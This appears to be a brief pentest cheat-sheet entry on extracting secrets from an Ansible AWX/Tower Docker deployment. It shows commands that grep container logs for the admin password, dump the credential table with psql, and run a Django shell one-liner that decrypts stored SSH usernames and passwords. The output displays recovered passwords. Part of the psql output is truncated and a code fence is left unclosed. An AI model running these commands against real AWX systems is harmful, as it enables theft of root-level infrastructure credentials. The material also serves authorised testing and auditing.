# Linux - Ansible AWX / Tower

Check for admin password in the logs of tools container.

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker container logs tools_awx_1 | grep -i "admin pass"                                                                                                                                                                                  
Admin password: gzFjwNsEioLewVfjELsV
```

List `name` and `input` from table `main_credential`. In this example I've done bare minimum where the database name is default `awx` and I've not set any password for authentication.

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker exec -it tools_postgres_1 psql awx -c "SELECT name,inputs FROM main_credential;"                                                                                                                                                   
      name       |                                                                                                                                 inputs

Decrypt password / secret / ssh\_key\_data with a simple one-liner:

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker exec -it tools_awx_1 awx-manage shell_plus --quiet-load -c 'from awx.main.utils import decrypt_field; name = Credential.objects.get(name="ssh_localhost"); print(decrypt_field(name, "username"), decrypt_field(name, "password"))'
root MyS3cr3TP455W0rrrD=)
```
